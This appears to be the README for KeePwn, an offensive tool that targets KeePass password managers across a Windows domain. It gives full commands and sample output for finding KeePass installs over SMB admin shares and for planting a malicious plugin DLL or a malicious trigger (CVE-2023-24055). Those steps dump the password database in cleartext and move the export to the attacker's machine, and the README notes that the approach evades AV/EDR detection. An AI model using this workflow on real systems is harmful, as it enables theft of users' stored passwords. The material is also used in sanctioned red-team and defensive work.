KeePwn

KeePwn's search module is used to identify hosts that run KeePass on your target environment:

$ python3 KeePwn.py search -u 'Administrator' -p 'P@$$w0rd!!' -d 'COMPANY.LOCAL' -tf ./targets.txt

[*] Starting remote KeePass search with 5 threads

[PC01.COMPANY.LOCAL] No KeePass-related file found
[PC02.COMPANY.LOCAL] No KeePass-related file found
[PC03.COMPANY.LOCAL] Found '\\C$\Program Files\KeePass Password Safe 2\KeePass.exe' (Version: 2.57.1, LastUpdateCheck: 48 minutes ago)
[PC03.COMPANY.LOCAL] Found '\\C$\Users\jdoe\AppData\Roaming\KeePass\KeePass.config.xml'
[PC04.COMPANY.LOCAL] No KeePass-related file found
[PC05.COMPANY.LOCAL] No KeePass-related file found

It makes use of Active Directory built-in C$ share to look for KeePass-related files in default locations, hence requiring administrator privileges on the targets.

The module will first look for KeePass.config.xml configuration file in each user's %APPDATA%\KeePass folder, as well as KeePass.exe in its default installation path (C:\Program Files\KeePass Password Safe 2). If a configuration file is found but KeePass is not installed globally, KeePwn will look for portable installations up to --max-depth subfolders.

This basic search technique should be enough to accurately determine if KeePass is used on a workstation or not. In addition, the --get-process option will use Impacket's RPC implementation to determine if KeePass is currently running on the target.

Various quality of life options are also included to let you export search results to a CSV file, display only targets where KeePass is found and adjust the number of parallel threads:

$ KeePwn search -u 'Administrator' -p 'P@$$w0rd!!' -d 'COMPANY.LOCAL' -tf ./targets.txt --threads 4 --get-process --found-only --output keepwn_out.csv

[*] Starting remote KeePass search with 4 threads

[PC03.COMPANY.LOCAL] Found '\\C$\Program Files\KeePass Password Safe 2\KeePass.exe' (Version: 2.57.1, LastUpdateCheck: 48 minutes ago)
[PC03.COMPANY.LOCAL] Found '\\C$\Users\jdoe\AppData\Roaming\KeePass\KeePass.config.xml'
[PC03.COMPANY.LOCAL] Found running KeePass.exe process (User: COMPANY\jdoe, PID: 3820)

[+] Search results logged to keepwn_out.csv

KeePass features a plugin framework which can be abused to load malicious DLLs into KeePass process, allowing attackers with administrator rights to easily export the database (see: KeeFarceRebornPlugin).

KeePwn's plugin module allows to :

• List currently installed plugins and enumerate the plugin cache

  $ KeePwn plugin check -u 'Administrator' -p 'P@$$w0rd!!' -d 'COMPANY.LOCAL' -t PC03.COMPANY.LOCAL                                   
  
  [*] No path specified, searching in default locations..
  [*] Found dbBackup.plgx in folder '\\C$\Program Files\KeePass Password Safe 2\Plugins\'
  [*] Found pDhkzWQYiobXhtBEEnbo in folder '\\C$\Users\jdoe\AppData\Local\KeePass\PluginCache'
  

• Add and remove your malicious plugins

  $ KeePwn plugin add -u 'Administrator' -p 'P@$$w0rd!!' -d 'COMPANY.LOCAL' -t PC03.COMPANY.LOCAL --plugin KeeFarceRebornPlugin.dll  
  
  [*] No path specified, searching in default locations..
  [*] Found KeePass Plugins directory '\\C$\Program Files\KeePass Password Safe 2\Plugins\'
  [!] About to add KeeFarceRebornPlugin.dll to KeePass Plugins directory, do you want to continue? [y/n]
  > y
  [+] Plugin successfully added to KeePass, wait for next restart, poll and enjoy!
  

• Poll %APPDATA% for exports and automatically moves it from remote host to local filesystem

  $ KeePwn plugin poll -u 'Administrator' -p 'P@$$w0rd!!' -d 'COMPANY.LOCAL' -t PC03.COMPANY.LOCAL                                  
  
  [*] Polling for database export every 5 seconds.. press CTRL+C to abort. DONE                                                                                                                                                                                
  [+] Found cleartext export '\\C$\\Users\jdoe\AppData\Roaming\export.xml'
  [+] Moved remote export to ./export.xml
  

These actions are made through SMB C$ share access, limiting AV/EDR detection as no command execution is performed.

As described in @harmj0y's blog post (and later CVE-2023-24055), KeePass trigger system can be abused in order to export the database in cleartext.

KeePwn's trigger module allows to :

• Check if a malicious trigger named "export" is currently written in KeePass configuration

  $ KeePwn trigger check -u 'Administrator' -p 'P@$$w0rd!!' -d 'COMPANY.LOCAL' -t PC03.COMPANY.LOCAL       
  
  [*] No KeePass configuration path specified, searching in default locations..
  [*] Found global KeePass configuration '\\C$\Program Files\KeePass Password Safe 2\KeePass.config.xml'
  [*] PreferUserConfiguration flag is set to true, meaning that local configuration is used
  [*] Found local KeePass configuration '\\C$\Users\jdoe\AppData\Roaming\KeePass\KeePass.config.xml'
  [+] No trigger found in KeePass configuration
  

  Note that KeePwn will prevent you to abuse plugins if the detected KeePass version is not affected by this technique.

• Add and remove a malicious trigger named "export" which performs a cleartext export of the database in %APPDATA% on next KeePass launch